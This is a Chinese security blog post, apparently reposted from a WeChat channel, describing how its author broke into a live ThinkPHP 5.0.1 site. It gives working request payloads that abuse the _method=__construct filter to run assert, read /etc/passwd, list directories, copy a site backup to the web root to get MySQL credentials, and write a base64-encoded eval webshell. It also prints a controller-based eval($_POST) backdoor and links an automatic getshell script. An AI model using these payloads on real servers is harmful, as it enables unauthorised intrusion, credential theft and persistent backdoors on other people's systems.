php命令执行的一次探讨

  • A+
所属分类:安全文章

遇到的目标站是thinkphp5.0.1

php5.6.31 linux主机


目前全网没有任何一个针对5.0.1的一个总结
由于敏感问题就不放图了,只做文本思考


首先是可以通过assert函数执行phpinfo的命令

s=phpinfo()&_method=__construct&filter=assert_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1


然而很不幸的是在disable function里面一些重要的函数被禁用了

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen


system函数因为被禁用了,所以无法使用

s=ipconfig&_mehthod=__construct$method=&filter[]=system


那么目前来说只有一个assert的函数可以供我们使用

那我们的思路就很简单

1:如何写进去shell

2:想办法读取config文件直接获取mysql密码


include函数,可以根据此函数查看一些文件及其配置

s=include("/etc/passwd")&_method=__construct&filter=assert


读取文件

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../application/.htaccess

s=include("../application/.htaccess")&_method=__construct&filter=assert
//ps:如果不加.. 请加上完整路径




在读取出来文件之后,由于一些关键目录受到了管理员的更改,所以为了读取出来文件夹目录,我们用到了var_dump函数

var_dump函数,可以查看该路径下的文件,文件夹

s=var_dump(scandir('../application/'))&_method=__construct&filter=assert


通过报错得知网站的目录是

/data/wwwroot/public/

意外发现在/data/目录下有网站备份文件


复制文件

s=copy("/data/ws.tar""/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert


直接通过web下载下来,本地寻找config文件,连接进mysql


接下来是写入shell,我在网上 论坛里各种地方试了各种大佬发的poc都失败了。这里提供一个针对5.0.1版本研究出来的写入命令

file_put_contents函数,可以直接写入文件

s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

















以为到这里就结束了么?


thinkphp默认是做了重定向,比如访问www.xxx.com/test.php 则会跳转到www.xxx.com/test/test  

这样的话我们所上传的马儿就无法使用了。


这里引用t00ls大佬分享的一个专门针对thinkphp的一句话

基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器,直接写一句话可能会有解析问题导致无法执行指令,研究了一下把一句话套入框架控制器的方法,分享给大家参考,
在index的控制器文件夹下建立Test.php文件,代码如下:
<?php namespace appindexcontroller;
class Test {
public function test() {
eval($_POST["cmd"]);
}
}


一句话的地址就是http://www.xxx.com/index/test/test



最后,说的这么多不如造轮子

全网唯一针对5.0.1版本所写的自动getshell脚本

感谢Dking大佬提供的脚本

https://github.com/ianxtianxt/thinkphp5.0.1-automatic-getshell



本文始发于微信公众号(零组攻防实验室):php命令执行的一次探讨

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: